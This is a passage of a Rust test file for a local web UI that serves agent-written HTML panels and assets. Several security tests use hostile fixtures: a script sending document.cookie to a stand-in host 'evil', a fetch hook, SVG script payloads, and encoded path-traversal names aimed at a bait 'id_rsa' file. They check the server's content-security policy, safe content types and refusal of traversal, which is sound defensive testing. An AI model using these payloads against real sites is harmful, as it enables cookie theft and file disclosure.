12042 format!("question {i}"),
12043 "context".into(),
12044 vec!["yes".into(), "no".into()],
12045 );
12046 question.id = format!("20261003-000000-{i:04x}");
12047 fx.questions().put(&mut question).unwrap();
12048 }
12049 for i in run_ids(&fx.runs()).len()..runs {
12050 write_run_repo(
12051 &fx.runs(),
12052 &format!("20261001-000000-{i:04x}"),
12053 RunStatus::Ready,
12054 repos[i % 2].to_str().unwrap(),
12055 );
12056 }
12057 for i in fx.talks().list().len()..items {
12058 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
12059 let mut talk = fx.talks().get(&id).unwrap();
12060 talk.repo = repos[i % 2].clone();
12061 fx.talks().put(&mut talk).unwrap();
12062 let mut task = crate::queue::Task::new(
12063 format!("task {i}"),
12064 "instruction".into(),
12065 repos[i % 2].clone(),
12066 crate::queue::Source::Agent {
12067 run: id,
12068 node: crate::queue::CHAT_NODE.into(),
12069 },
12070 );
12071 task.id = format!("20261004-000000-{i:04x}");
12072 fx.queue().put(&mut task).unwrap();
12073 if i < crate::notices::CAP {
12075 Notices::at(fx.home.path().join("notifications"))
12076 .raise(Notice::info(&format!("notice-{i}"), "notification"))
12077 .unwrap();
12078 }
12079 }
12080 assert_eq!(fx.questions().list().len(), questions);
12081 assert_eq!(run_ids(&fx.runs()).len(), runs);
12082 assert_eq!(fx.talks().list().len(), items);
12083 assert_eq!(fx.queue().list().len(), items);
12084 assert_eq!(
12085 Notices::at(fx.home.path().join("notifications"))
12086 .list()
12087 .len(),
12088 items.min(crate::notices::CAP)
12089 );
12090 }
12091
12092 #[tokio::test]
12093 async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
12094 let home = TempDir::new().unwrap();
12095 let root = home.path().canonicalize().unwrap();
12096 let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
12097 let fx = Fixture { home, addr };
12098 let repo = root.as_path().join("archive-repo");
12099 std::fs::create_dir(&repo).unwrap();
12100 crate::git::git(&repo, &["init", "-b", "main"])
12101 .await
12102 .unwrap();
12103 crate::git::git(&repo, &["config", "user.name", "Fixture"])
12104 .await
12105 .unwrap();
12106 crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
12107 .await
12108 .unwrap();
12109 crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
12110 .await
12111 .unwrap();
12112 std::fs::write(repo.join("source"), "base").unwrap();
12113 crate::git::git(&repo, &["add", "."]).await.unwrap();
12114 crate::git::git(&repo, &["commit", "-m", "base"])
12115 .await
12116 .unwrap();
12117 let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
12118 std::fs::write(repo.join("source"), "archived review").unwrap();
12119 crate::git::git(&repo, &["commit", "-am", "review"])
12120 .await
12121 .unwrap();
12122 let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
12123 let mut config = Config::default();
12124 config.graph.worktree_root = Some(root.as_path().join("copies"));
12125 let mut state = RunState::new(
12126 repo.clone(),
12127 "main".into(),
12128 base.clone(),
12129 "archive".into(),
12130 config,
12131 );
12132 state.id = "20260101-000000-ef05".into();
12133 state.status = RunStatus::Ready;
12134 state.save_under(root.as_path()).unwrap();
12135 let evidence =
12136 crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
12137 .await
12138 .unwrap();
12139 let base_evidence =
12140 crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
12141 .await
12142 .unwrap();
12143 let source = state.worktree_root().join("review-1");
12144 let mut contents = std::collections::BTreeMap::new();
12145 contents.insert(
12146 repo.join("logs/HEAD"),
12147 format!("{base} {head} fixture\n").into_bytes(),
12148 );
12149 let record = serde_json::json!({
12150 "version":1, "run":state.id, "source":source, "head":head,
12151 "evidence":evidence, "admin":{}, "admin_contents":contents,
12152 "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
12153 });
12154 std::fs::write(
12155 fx.runs()
12156 .join(&state.id)
12157 .join("artifacts/eviction-review-1.json"),
12158 serde_json::to_vec(&record).unwrap(),
12159 )
12160 .unwrap();
12161 std::fs::remove_dir_all(&repo).unwrap();
12162 let url = format!("/api/runs/{}/seat-evidence", state.id);
12163 let list = fx.get(&url).await;
12164 assert_eq!(list.status, 200, "{}", list.body);
12165 assert_eq!(list.json()[&head], "review-1");
12166 let patch = fx.get(&format!("{url}/{head}")).await;
12167 assert_eq!(patch.status, 200, "{}", patch.body);
12168 assert!(patch.body.contains("+archived review"));
12169 assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
12170 std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
12171 assert_eq!(fx.get(&url).await.status, 404);
12172 assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
12173 }
12174
12175 fn request_counts(res: &Res) -> (usize, usize) {
12176 assert_eq!(res.status, 200, "{}", res.body);
12177 (
12178 res.header("x-test-discoveries").unwrap().parse().unwrap(),
12179 res.header("x-test-git").unwrap().parse().unwrap(),
12180 )
12181 }
12182
12183 #[tokio::test]
12184 async fn list_request_cost_is_independent_of_record_count() {
12185 let mut previous = None;
12186 for n in [4, 60] {
12187 let (_tmp, repos, fx) = performance_fixture().await;
12191 seed_performance(&fx, &repos, n, n, n);
12192 let mut costs = Vec::new();
12193 for (path, discoveries) in [
12194 ("/api/questions", 1),
12195 ("/api/talks", 0),
12196 ("/api/stats", 1),
12197 ("/api/health", 0),
12198 ] {
12199 for repo in &repos {
12202 let cache = repo.join(".git/magi/config");
12203 if cache.exists() {
12204 std::fs::remove_dir_all(cache).unwrap();
12205 }
12206 }
12207 let cost = request_counts(&fx.get(path).await);
12208 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
12209 assert_eq!(cost.0, discoveries, "{path}, N={n}");
12210 assert!(
12211 cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
12212 "{path}: {cost:?}"
12213 );
12214 costs.push(cost);
12215 }
12216 if let Some(previous) = previous {
12217 assert_eq!(costs, previous);
12218 }
12219 previous = Some(costs);
12220 }
12221 }
12225
12226 #[tokio::test]
12229 async fn list_handler_cost_without_transport() {
12230 let mut previous = None;
12231 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
12232 let (_tmp, repos) = performance_repositories().await;
12235 let fx = Fixture {
12236 home: TempDir::new().unwrap(),
12237 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12238 };
12239 let ui = Arc::new(
12240 Ui::new(
12241 fx.queue(),
12242 fx.questions(),
12243 fx.talks(),
12244 fx.runs(),
12245 fx.home.path().to_path_buf(),
12246 repos[0].clone(),
12247 )
12248 .with_worktrees_root(fx.home.path().join("wt")),
12249 );
12250 seed_performance(&fx, &repos, n, runs, items);
12251 let mut costs = Vec::new();
12252 for endpoint in ["questions", "talks", "stats", "health"] {
12253 for repo in &repos {
12254 let cache = repo.join(".git/magi/config");
12255 if cache.exists() {
12256 std::fs::remove_dir_all(cache).unwrap();
12257 }
12258 }
12259 let (_, cost) = request_cost::measure(async {
12260 match endpoint {
12261 "questions" => {
12262 let _ = questions_list(State(ui.clone())).await.unwrap();
12263 }
12264 "talks" => {
12265 let _ = talks_list(
12266 State(ui.clone()),
12267 Query(ListQuery {
12268 limit: None,
12269 ids: None,
12270 }),
12271 header::HeaderMap::new(),
12272 )
12273 .await
12274 .unwrap();
12275 }
12276 "health" => {
12277 let _ = health(State(ui.clone())).await.unwrap();
12278 }
12279 _ => {
12280 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
12281 .await
12282 .unwrap();
12283 }
12284 }
12285 })
12286 .await;
12287 eprintln!("{endpoint} handler N={n}: {cost:?}");
12288 assert_eq!(
12289 cost.0,
12290 if matches!(endpoint, "talks" | "health") {
12291 0
12292 } else {
12293 1
12294 },
12295 "{endpoint}"
12296 );
12297 assert!(
12298 cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
12299 "{endpoint}: {cost:?}"
12300 );
12301 costs.push(cost);
12302 }
12303 if let Some(previous) = previous {
12304 assert_eq!(costs, previous);
12305 }
12306 previous = Some(costs);
12307 }
12308 }
12309
12310 #[tokio::test]
12311 async fn monitor_and_periodic_update_recheck_git_cost() {
12312 let (tmp, repos) = performance_repositories().await;
12313 let fx = Fixture {
12314 home: TempDir::new().unwrap(),
12315 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12316 };
12317 let ui = Arc::new(
12318 Ui::new(
12319 fx.queue(),
12320 fx.questions(),
12321 fx.talks(),
12322 fx.runs(),
12323 fx.home.path().to_path_buf(),
12324 repos[0].clone(),
12325 )
12326 .with_worktrees_root(fx.home.path().join("wt")),
12327 );
12328 let cache = repos[0].join(".git/magi/config");
12329 if cache.exists() {
12330 std::fs::remove_dir_all(&cache).unwrap();
12331 }
12332
12333 let (_, monitor_cost) = request_cost::measure(async {
12334 let mut snapshot = None;
12335 for _ in 0..20 {
12336 let state = Arc::clone(&ui);
12337 snapshot = Some(
12338 tokio::task::spawn_blocking(request_cost::carry(move || {
12339 monitor_scan(&state, snapshot)
12340 }))
12341 .await
12342 .unwrap(),
12343 );
12344 }
12345 })
12346 .await;
12347 assert_eq!(monitor_cost, (0, 0));
12348
12349 let (_, cold_cost) = request_cost::measure(async {
12351 for _ in 0..20 {
12352 assert_eq!(update_recheck_once(&ui).await, UPDATE_RECHECK_POLL_MAX);
12353 }
12354 })
12355 .await;
12356 assert_eq!(cold_cost, (20, 21));
12357
12358 let origin = tmp.path().join("one.git");
12362 let pusher = tmp.path().join("pusher-one");
12363 crate::git::git(
12364 tmp.path(),
12365 &[
12366 "clone",
12367 "-b",
12368 "main",
12369 origin.to_str().unwrap(),
12370 pusher.to_str().unwrap(),
12371 ],
12372 )
12373 .await
12374 .unwrap();
12375 std::fs::write(
12376 pusher.join("magi.toml"),
12377 format!("{MOCK_AGENT_TOML}\n[graph]\nimplementers = 3\n[repos]\nroots = []\n[update]\nmode = \"off\"\ninterval = \"1m\"\n[verify]\ne2e = []\ngate = []\n"),
12378 )
12379 .unwrap();
12380 crate::git::git(&pusher, &["add", "magi.toml"])
12381 .await
12382 .unwrap();
12383 crate::git::git(
12384 &pusher,
12385 &[
12386 "-c",
12387 "user.name=fixture",
12388 "-c",
12389 "user.email=fixture@example.invalid",
12390 "commit",
12391 "-m",
12392 "bump implementers",
12393 ],
12394 )
12395 .await
12396 .unwrap();
12397 crate::git::git(&pusher, &["push", "origin", "main"])
12398 .await
12399 .unwrap();
12400 crate::git::git(&repos[0], &["fetch", "origin"])
12401 .await
12402 .unwrap();
12403
12404 let (observed, moved_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12405 assert_eq!(observed, UPDATE_RECHECK_POLL_MIN);
12406 assert_eq!(moved_cost, (1, 2));
12407 let (observed_again, warm_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12408 assert_eq!(observed_again, observed);
12409 assert_eq!(warm_cost, (1, 1));
12410 }
12411
12412 #[tokio::test]
12413 async fn list_request_cost_scopes_do_not_mix() {
12414 let (_tmp, repos, fx) = performance_fixture().await;
12415 seed_performance(&fx, &repos, 10, 0, 10);
12416 let (questions, talks, notices) = tokio::join!(
12417 fx.get("/api/questions"),
12418 fx.get("/api/talks"),
12419 fx.get("/api/notifications")
12420 );
12421 assert_eq!(request_counts(&questions).0, 1);
12422 assert_eq!(request_counts(&talks), (0, 0));
12425 assert_eq!(request_counts(¬ices), (0, 0));
12426 }
12427
12428 #[tokio::test]
12429 async fn list_endpoints_large_home_responses() {
12430 check_large_home_endpoints(false).await;
12431 }
12432
12433 #[tokio::test]
12434 #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
12435 async fn list_endpoints_large_home_ceiling() {
12436 check_large_home_endpoints(true).await;
12437 }
12438
12439 async fn check_large_home_endpoints(timed: bool) {
12440 let (_tmp, repos, fx) = performance_fixture().await;
12441 seed_performance(&fx, &repos, 200, 300, 400);
12442 let mut failures = Vec::new();
12443 for path in [
12446 "/",
12447 "/app.js",
12448 "/app.css",
12449 "/api/questions",
12450 "/api/runs?limit=300",
12451 "/api/queue",
12452 "/api/talks",
12453 "/api/notifications",
12454 "/api/health",
12455 "/api/stats",
12456 "/api/loop",
12457 "/api/settings",
12458 "/api/repos",
12459 ] {
12460 let start = std::time::Instant::now();
12461 let result = if timed {
12462 tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
12463 } else {
12464 Ok(fx.get(path).await)
12465 };
12466 let elapsed = start.elapsed();
12467 eprintln!("{path}: {elapsed:?}");
12468 match result {
12469 Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
12470 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
12471 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
12472 }
12473 }
12474 assert!(failures.is_empty(), "{}", failures.join("\n"));
12475 }
12476
12477 struct Res {
12478 status: u16,
12479 headers: String,
12480 head: String,
12485 body: String,
12486 bytes: Vec<u8>,
12490 }
12491
12492 impl Res {
12493 fn json(&self) -> Value {
12494 serde_json::from_str(&self.body)
12495 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
12496 }
12497
12498 fn header(&self, name: &str) -> Option<&str> {
12500 self.head.lines().find_map(|line| {
12501 let (key, value) = line.split_once(':')?;
12502 key.trim()
12503 .eq_ignore_ascii_case(name)
12504 .then(|| value.trim_start().trim_end_matches('\r'))
12505 })
12506 }
12507 }
12508
12509 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
12512 request_with(addr, method, path, body, &[]).await
12513 }
12514
12515 async fn request_with(
12519 addr: SocketAddr,
12520 method: &str,
12521 path: &str,
12522 body: Option<&str>,
12523 extra: &[(&str, &str)],
12524 ) -> Res {
12525 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12526 for (name, value) in extra {
12527 head.push_str(&format!("{name}: {value}\r\n"));
12528 }
12529 if let Some(body) = body {
12530 head.push_str("Content-Type: application/json\r\n");
12531 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
12532 }
12533 head.push_str("\r\n");
12534 if let Some(body) = body {
12535 head.push_str(body);
12536 }
12537 let mut socket = tokio::net::TcpStream::connect(addr)
12538 .await
12539 .expect("connect to the test server");
12540 socket
12541 .write_all(head.as_bytes())
12542 .await
12543 .expect("write request");
12544 let mut raw = Vec::new();
12545 socket.read_to_end(&mut raw).await.expect("read response");
12546 let split = raw
12549 .windows(4)
12550 .position(|w| w == b"\r\n\r\n")
12551 .expect("a header block");
12552 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12553 let bytes = raw[split + 4..].to_vec();
12554 let status = head
12555 .lines()
12556 .next()
12557 .and_then(|line| line.split_whitespace().nth(1))
12558 .and_then(|code| code.parse().ok())
12559 .expect("a status line");
12560 Res {
12561 status,
12562 headers: head.to_lowercase(),
12563 head,
12564 body: String::from_utf8_lossy(&bytes).into_owned(),
12565 bytes,
12566 }
12567 }
12568
12569 async fn request_bytes(
12575 addr: SocketAddr,
12576 path: &str,
12577 headers: &[(&str, &str)],
12578 body: &[u8],
12579 ) -> Res {
12580 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12581 for (name, value) in headers {
12582 head.push_str(&format!("{name}: {value}\r\n"));
12583 }
12584 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12585 let mut socket = tokio::net::TcpStream::connect(addr)
12586 .await
12587 .expect("connect to the test server");
12588 socket
12589 .write_all(head.as_bytes())
12590 .await
12591 .expect("write request head");
12592 socket.write_all(body).await.expect("write request body");
12593 let mut raw = Vec::new();
12594 socket.read_to_end(&mut raw).await.expect("read response");
12595 let split = raw
12596 .windows(4)
12597 .position(|w| w == b"\r\n\r\n")
12598 .expect("a header block");
12599 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12600 let bytes = raw[split + 4..].to_vec();
12601 let status = head
12602 .lines()
12603 .next()
12604 .and_then(|line| line.split_whitespace().nth(1))
12605 .and_then(|code| code.parse().ok())
12606 .expect("a status line");
12607 Res {
12608 status,
12609 headers: head.to_lowercase(),
12610 head,
12611 body: String::from_utf8_lossy(&bytes).into_owned(),
12612 bytes,
12613 }
12614 }
12615
12616 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12618 let mut state = RunState::new(
12619 PathBuf::from("/repo/magi"),
12620 "main".to_owned(),
12621 "0123456789abcdef".to_owned(),
12622 "Add a web UI\n\nMobile first.".to_owned(),
12623 Config::default(),
12624 );
12625 state.id = id.to_owned();
12626 state.status = status;
12627 let dir = runs.join(id);
12628 std::fs::create_dir_all(&dir).expect("run dir");
12629 std::fs::write(
12630 dir.join("run.json"),
12631 serde_json::to_string_pretty(&state).expect("serialize run"),
12632 )
12633 .expect("write run.json");
12634 }
12635
12636 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12640 let mut state = RunState::new(
12641 PathBuf::from(repo),
12642 "main".to_owned(),
12643 "0123456789abcdef".to_owned(),
12644 "task".to_owned(),
12645 Config::default(),
12646 );
12647 state.id = id.to_owned();
12648 state.status = status;
12649 let dir = runs.join(id);
12650 std::fs::create_dir_all(&dir).expect("run dir");
12651 std::fs::write(
12652 dir.join("run.json"),
12653 serde_json::to_string_pretty(&state).expect("serialize run"),
12654 )
12655 .expect("write run.json");
12656 }
12657
12658 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12659 let body = serde_json::json!({
12660 "schema": 1,
12661 "pid": 4242,
12662 "started_at": Timestamp::now().to_string(),
12663 "updated_at": updated_at.to_string(),
12664 "idle": false,
12665 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12666 "completed": 7,
12667 "polls": 143,
12668 });
12669 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12670 }
12671
12672 fn launch_idle(
12682 _opts: daemon::Opts,
12683 stop: daemon::Stop,
12684 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12685 Box::pin(async move {
12686 while !stop.stopped() {
12687 tokio::time::sleep(Duration::from_millis(2)).await;
12688 }
12689 Ok(())
12690 })
12691 }
12692
12693 fn launch_broken(
12696 _opts: daemon::Opts,
12697 _stop: daemon::Stop,
12698 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12699 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12704 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12705 Box::pin(async move {
12706 Err(anyhow::anyhow!(if first {
12707 "publish the daemon status file: read-only file system"
12708 } else {
12709 "the restarted stand-in failed as well"
12710 }))
12711 })
12712 }
12713
12714 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12723 for _ in 0..SETTLE_STEPS {
12724 let view = fx.get("/api/loop").await.json();
12725 if want(&view) {
12726 return view;
12727 }
12728 tokio::time::sleep(Duration::from_millis(10)).await;
12729 }
12730 panic!(
12731 "the loop never settled: {}",
12732 fx.get("/api/loop").await.json()
12733 );
12734 }
12735
12736 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12738 let store = fx.questions();
12739 let mut q = Question::new(
12740 "20260902-000000-beef".to_owned(),
12741 "implement".to_owned(),
12742 "impl-A".to_owned(),
12743 summary.to_owned(),
12744 "because it matters".to_owned(),
12745 choices.iter().map(|c| (*c).to_owned()).collect(),
12746 );
12747 store.put(&mut q).expect("put question");
12748 q.id
12749 }
12750
12751 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12757 let store = fx.questions();
12758 let mut q = Question::new(
12759 "20260902-000000-beef".to_owned(),
12760 "land".to_owned(),
12761 "fix".to_owned(),
12762 "Merge this?".to_owned(),
12763 "the diff is in the panel".to_owned(),
12764 vec!["merge".to_owned(), "hold".to_owned()],
12765 );
12766 let staging = fx.home.path().join("staging");
12769 std::fs::create_dir_all(&staging).expect("staging dir");
12770 let sources: Vec<PathBuf> = assets
12771 .iter()
12772 .map(|(name, bytes)| {
12773 let path = staging.join(name);
12774 std::fs::write(&path, bytes).expect("write staged asset");
12775 path
12776 })
12777 .collect();
12778 store
12779 .put_panel(&mut q, html, &sources)
12780 .expect("write the panel");
12781 store.put(&mut q).expect("put question");
12782 q.id
12783 }
12784
12785 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12794 seed_talk_at(&fx.talks(), id, status)
12795 }
12796
12797 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12798 std::fs::create_dir_all(store.root()).expect("talks dir");
12799 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12800 .expect("serialize a seat");
12801 let body = serde_json::json!({
12802 "schema": 1,
12803 "id": id,
12804 "repo": "/repo/magi",
12805 "agent": "mock",
12806 "status": status,
12807 "turns": [],
12808 "created_at": Timestamp::now().to_string(),
12809 "updated_at": Timestamp::now().to_string(),
12810 "seat": seat,
12811 });
12812 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12813 store.get(id).expect("the seeded talk has to be readable");
12814 id.to_owned()
12815 }
12816
12817 #[tokio::test]
12818 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12819 let fx = Fixture::start().await;
12820 let id = panel(
12821 &fx,
12822 "<h1>Merge?</h1><img src=\"diff.svg\">",
12823 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12824 );
12825
12826 for path in [
12827 format!("/api/questions/{id}/panel"),
12828 format!("/api/questions/{id}/asset/diff.svg"),
12829 ] {
12830 let res = fx.get(&path).await;
12831 assert_eq!(res.status, 200, "{path}: {}", res.body);
12832 assert_eq!(
12838 res.header("content-security-policy"),
12839 Some(
12840 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12841 font-src data:; base-uri 'none'; form-action 'none'; \
12842 frame-ancestors 'self'"
12843 ),
12844 "{path} is the only thing between a hostile panel and the tailnet"
12845 );
12846 assert_eq!(
12847 res.header("x-content-type-options"),
12848 Some("nosniff"),
12849 "{path}: a browser must not re-decide the type we sent"
12850 );
12851 assert_eq!(
12852 res.header("referrer-policy"),
12853 Some("no-referrer"),
12854 "{path}: a panel must not leak the question id off the machine"
12855 );
12856
12857 let pre = fx.head(&path).await;
12862 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12863 assert_eq!(
12864 pre.header("content-security-policy"),
12865 res.header("content-security-policy"),
12866 "{path}: the preflight carries the same policy"
12867 );
12868 assert_eq!(
12869 pre.header("content-type"),
12870 res.header("content-type"),
12871 "{path}: the preflight carries the same type"
12872 );
12873 }
12874 }
12875
12876 #[tokio::test]
12877 async fn a_panel_reaches_the_browser_byte_for_byte() {
12878 let fx = Fixture::start().await;
12879 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
12884 let id = panel(&fx, html, &[]);
12885
12886 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12887
12888 assert_eq!(res.status, 200);
12889 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12890 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12891 assert_eq!(
12892 res.header("content-disposition"),
12893 None,
12894 "the panel itself is rendered in the frame, not downloaded"
12895 );
12896 }
12897
12898 #[tokio::test]
12899 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12900 let fx = Fixture::start().await;
12901 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12902 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12903 let id = panel(
12904 &fx,
12905 "<img src=\"diff.svg\"><img src=\"shot.png\">",
12906 &[("diff.svg", svg), ("shot.png", png)],
12907 );
12908
12909 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12910 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12911
12912 assert_eq!(as_svg.status, 200);
12913 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12914 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12919
12920 assert_eq!(as_png.status, 200);
12921 assert_eq!(as_png.header("content-type"), Some("image/png"));
12922 assert_eq!(
12923 as_png.header("content-disposition"),
12924 None,
12925 "a raster image has no execution surface, so tapping it still shows it"
12926 );
12927 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12928 }
12929
12930 #[tokio::test]
12931 async fn an_html_asset_is_never_served_as_html() {
12932 let fx = Fixture::start().await;
12933 let id = panel(
12934 &fx,
12935 "<p>see the notes</p>",
12936 &[
12937 (
12938 "notes.html",
12939 b"<script>fetch('http://evil/'+document.cookie)</script>",
12940 ),
12941 ("hook.js", b"fetch('http://evil/')"),
12942 ("data.json", b"{}"),
12943 ("HEADLINE.TXT", b"plain"),
12944 ],
12945 );
12946
12947 for name in ["notes.html", "hook.js", "data.json"] {
12948 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12949 assert_eq!(res.status, 200, "{name}: {}", res.body);
12950 assert_eq!(
12955 res.header("content-type"),
12956 Some("application/octet-stream"),
12957 "{name} must not be a type the browser will execute or render"
12958 );
12959 }
12960 let txt = fx
12963 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12964 .await;
12965 assert_eq!(
12966 txt.header("content-type"),
12967 Some("text/plain; charset=utf-8")
12968 );
12969 }
12970
12971 #[tokio::test]
12972 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12973 let fx = Fixture::start().await;
12974 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12975 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12979
12980 for encoded in [
12987 "%2e%2e%2fid_rsa",
12988 "..%2fid_rsa",
12989 "..%5cid_rsa",
12990 "%2e%2e%5cid_rsa",
12991 "diff%00.svg",
12992 "..",
12993 ".hidden",
12994 "%2e%2e%2f%2e%2e%2fid_rsa",
12995 ] {
12996 let res = fx
12997 .get(&format!("/api/questions/{id}/asset/{encoded}"))
12998 .await;
12999 assert_eq!(
13000 res.status, 400,
13001 "`{encoded}` has to be refused by name, not looked up: {}",
13002 res.body
13003 );
13004 assert!(res.json()["error"].is_string(), "{}", res.body);
13005 }
13006
13007 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
13013 let res = fx
13014 .get(&format!("/api/questions/{id}/asset/{literal}"))
13015 .await;
13016 assert_eq!(
13017 res.status, 404,
13018 "`{literal}` must not match the asset route at all: {}",
13019 res.body
13020 );
13021 }
13022 }
13023
13024 #[tokio::test]
13025 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
13026 let fx = Fixture::start().await;
13027 let plain = ask(&fx, "Which backend?", &["SQLite"]);
13028 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
13029
13030 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
13034 assert_eq!(none.status, 404, "{}", none.body);
13035 assert!(none.json()["error"].is_string(), "{}", none.body);
13036 assert_eq!(
13037 fx.head(&format!("/api/questions/{plain}/panel"))
13038 .await
13039 .status,
13040 404,
13041 "the preflight is the only way the client can learn this"
13042 );
13043
13044 let missing = fx
13046 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
13047 .await;
13048 assert_eq!(missing.status, 404, "{}", missing.body);
13049 assert!(missing.json()["error"].is_string(), "{}", missing.body);
13050
13051 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
13053 assert_eq!(
13054 fx.get("/api/questions/nope/asset/diff.svg").await.status,
13055 404
13056 );
13057 }
13058
13059 #[tokio::test]
13060 async fn a_run_with_an_open_question_reads_as_waiting() {
13061 let fx = Fixture::start().await;
13062 let run = "20260902-000000-beef".to_owned();
13063 write_run(&fx.runs(), &run, RunStatus::Implementing);
13064
13065 let before = fx.get("/api/runs").await.json();
13066 assert_eq!(before[0]["waiting"], false, "{before}");
13067
13068 let store = fx.questions();
13069 let mut q = Question::new(
13070 run.clone(),
13071 "implement".to_owned(),
13072 "impl-A".to_owned(),
13073 "Which backend?".to_owned(),
13074 String::new(),
13075 vec!["SQLite".to_owned()],
13076 );
13077 store.put(&mut q).expect("put");
13078
13079 let during = fx.get("/api/runs").await.json();
13080 assert_eq!(during[0]["waiting"], true, "{during}");
13081
13082 q.answer(Answer::Choice("SQLite".to_owned()))
13085 .expect("answer");
13086 store.put(&mut q).expect("put");
13087 let after = fx.get("/api/runs").await.json();
13088 assert_eq!(after[0]["waiting"], false, "{after}");
13089 }
13090
13091 #[tokio::test]
13092 async fn an_open_question_is_listed_and_counted_by_health() {
13093 let fx = Fixture::start().await;
13094 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13095
13096 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13097 let listed = fx.get("/api/questions").await.json();
13098 assert_eq!(listed.as_array().expect("array").len(), 1);
13099 assert_eq!(listed[0]["id"], id);
13100 assert_eq!(listed[0]["status"], "open");
13101 assert_eq!(listed[0]["choices"][1], "Redis");
13102 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13105 }
13106
13107 fn obsolete_approval_state() -> RunState {
13108 let mut state = crate::land::tests::repair_state(true, true);
13109 state.pr = Some(crate::run::PrRecord {
13110 url: "https://github.com/example/repo/pull/42".into(),
13111 number: 42,
13112 state: "open".into(),
13113 checks: "green".into(),
13114 round: 1,
13115 rounds: 4,
13116 red_at_merge: Vec::new(),
13117 });
13118 state
13119 }
13120
13121 #[tokio::test]
13122 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
